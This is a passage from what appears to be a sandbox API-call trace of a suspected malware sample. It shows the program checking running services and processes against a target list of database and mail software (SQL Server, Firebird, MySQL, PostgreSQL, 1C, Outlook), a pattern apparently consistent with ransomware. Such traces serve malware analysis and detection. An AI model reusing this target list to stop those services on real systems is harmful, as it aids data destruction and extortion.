lpString2="RpcSs") returned -1 [0040.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.056] lstrlenW (lpString="SamSs") returned 5 [0040.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.056] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.057] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.057] lstrlenW (lpString="Schedule") returned 8 [0040.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.057] lstrlenW (lpString="SENS") returned 4 [0040.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.057] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.057] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.057] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.057] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.057] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.057] lstrlenW (lpString="Spooler") returned 7 [0040.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.057] lstrlenW (lpString="SysMain") returned 7 [0040.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.057] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.057] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.057] lstrlenW (lpString="Themes") returned 6 [0040.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.058] lstrlenW (lpString="TrkWks") returned 6 [0040.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.058] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.058] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.058] lstrlenW (lpString="UxSms") returned 5 [0040.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.058] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.058] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.058] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.058] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.058] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.058] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.058] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.058] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.058] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.058] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.058] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.058] lstrlenW (lpString="Winmgmt") returned 7 [0040.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.059] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.059] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.059] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.059] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32982a0 | out: hHeap=0x790000) returned 1 [0040.059] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0040.061] Process32FirstW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.061] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.061] lstrlenW (lpString="System") returned 6 [0040.061] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.061] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.061] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.061] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.061] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.062] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.062] lstrlenW (lpString="smss.exe") returned 8 [0040.062] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.062] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.062] lstrlenW (lpString="csrss.exe") returned 9 [0040.062] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.062] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.062] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.062] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.063] lstrlenW (lpString="wininit.exe") returned 11 [0040.063] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.063] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.063] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.063] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.063] lstrlenW (lpString="csrss.exe") returned 9 [0040.063] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.063] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.063] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.063] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.064] lstrlenW (lpString="winlogon.exe") returned 12 [0040.064] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.064] lstrlenW (lpString="services.exe") returned 12 [0040.064] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.064] lstrlenW (lpString="lsass.exe") returned 9 [0040.064] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.065] lstrlenW (lpString="lsm.exe") returned 7 [0040.065] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.065] lstrlenW (lpString="svchost.exe") returned 11 [0040.065] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.065] lstrlenW (lpString="svchost.exe") returned 11 [0040.065] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.066] lstrlenW (lpString="svchost.exe") returned 11 [0040.066] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.066] lstrlenW (lpString="svchost.exe") returned 11 [0040.066] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.066] lstrlenW (lpString="svchost.exe") returned 11 [0040.066] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.066] lstrlenW (lpString="audiodg.exe") returned 11 [0040.066] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.067] lstrlenW (lpString="svchost.exe") returned 11 [0040.067] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.067] lstrlenW (lpString="svchost.exe") returned 11 [0040.067] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.067] lstrlenW (lpString="dwm.exe") returned 7 [0040.067] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.068] lstrlenW (lpString="explorer.exe") returned 12 [0040.068] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.068] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.068] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.068] lstrlenW (lpString="taskhost.exe") returned 12 [0040.068] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.068] lstrlenW (lpString="svchost.exe") returned 11 [0040.068] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.069] lstrlenW (lpString="taskeng.exe") returned 11 [0040.069] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.069] lstrlenW (lpString="taskhost.exe") returned 12 [0040.069] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0040.069] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0040.069] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0040.069] lstrlenW (lpString="noticed.exe") returned 11 [0040.070] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0040.070] lstrlenW (lpString="uploaded.exe") returned 12 [0040.070] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0040.070] lstrlenW (lpString="hardware.exe") returned 12 [0040.070] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0040.070] lstrlenW (lpString="oracle.exe") returned 10 [0040.070] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0040.071] lstrlenW (lpString="creativity.exe") returned 14 [0040.071] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0040.071] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0040.071] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0040.071] lstrlenW (lpString="edited.exe") returned 10 [0040.071] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0040.071] lstrlenW (lpString="custody.exe") returned 11 [0040.071] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0040.072] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0040.072] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0040.072] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0040.072] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0040.072] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0040.072] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0040.073] lstrlenW (lpString="radius.exe") returned 10 [0040.073] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0040.073] lstrlenW (lpString="extensions.exe") returned 14 [0040.073] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0040.073] lstrlenW (lpString="desperate.exe") returned 13 [0040.073] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0040.073] lstrlenW (lpString="professor-mo.exe") returned 16 [0040.073] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0040.074] lstrlenW (lpString="guidance.exe") returned 12 [0040.074] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0040.074] lstrlenW (lpString="week.exe") returned 8 [0040.074] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0040.074] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0040.074] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0040.075] lstrlenW (lpString="sn featured.exe") returned 15 [0040.075] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, 